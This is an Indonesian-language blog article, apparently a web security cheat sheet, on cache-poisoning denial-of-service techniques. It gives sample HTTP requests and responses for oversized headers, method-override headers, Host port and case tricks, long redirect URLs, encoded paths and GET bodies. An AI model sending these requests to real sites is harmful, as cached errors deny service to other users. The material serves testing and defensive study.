Skip to content

Cache Poisoning to Dos

Published: at 16.11Edit artikel ini

Table of contents

Open Table of contents

Cara-cara

Kirimkan permintaan dengan ukuran header yang lebih besar dari yang didukung oleh server web tetapi lebih kecil dari yang didukung oleh server cache. Server web akan merespons dengan respons 400 yang mungkin disimpan dalam cache:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000

Kirimkan sebuah header yang mengandung karakter meta berbahaya seperti < dan >. Agar serangan ini berhasil, Anda harus melewati cache terlebih dahulu.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Header yang dikonfigurasi dengan buruk bisa saja berupa \: sebagai sebuah header.

Ini juga bisa berhasil jika nilai yang tidak terduga dikirim, seperti Content-Type: yang tidak terduga.

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld

Beberapa situs web akan mengembalikan kode status kesalahan jika mereka melihat header tertentu dalam permintaan, seperti pada header X-Amz-Website-Location-Redirect: someThing.

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header

Jika server mendukung pengubahan metode HTTP menggunakan header seperti X-HTTP-Method-Override, X-HTTP-Method, atau X-Method-Override, maka memungkinkan untuk meminta halaman yang valid dengan mengubah metode sehingga server tidak mendukungnya, sehingga respons yang buruk akan tersimpan di cache:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST

Jika port di header Host tercermin dalam respons dan tidak dimasukkan dalam kunci cache, maka memungkinkan untuk mengarahkannya ke port yang tidak terpakai:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss

Seperti pada contoh berikut, x tidak disimpan dalam cache, sehingga seorang penyerang dapat mengeksploitasi perilaku respons redirect untuk membuat redirect mengirim URL yang sangat besar sehingga mengembalikan kesalahan. Kemudian, orang yang mencoba mengakses URL tanpa kunci x yang belum disimpan dalam cache akan mendapatkan respons kesalahan:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss

Header host seharusnya tidak sensitif terhadap huruf besar atau kecil, namun beberapa situs web mengharapkannya dalam format huruf kecil dan mengembalikan kesalahan jika tidak sesuai:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found

Beberapa halaman akan mengembalikan kode kesalahan jika data dikirim dalam format URL encode pada path, namun server cache akan melakukan URL decode pada path tersebut dan menyimpan respons untuk path yang sudah didecode:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found

Beberapa server cache, seperti Cloudflare, atau server web, menghentikan permintaan GET dengan body, sehingga ini bisa disalahgunakan untuk menyimpan respons yang tidak valid:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden 
Cache: hit

Referensi


Artikel Sebelumnya
Cache Poisoning via URL Discrepancies
Artikel Selanjutnya
Cache Poisoning and Cache Deception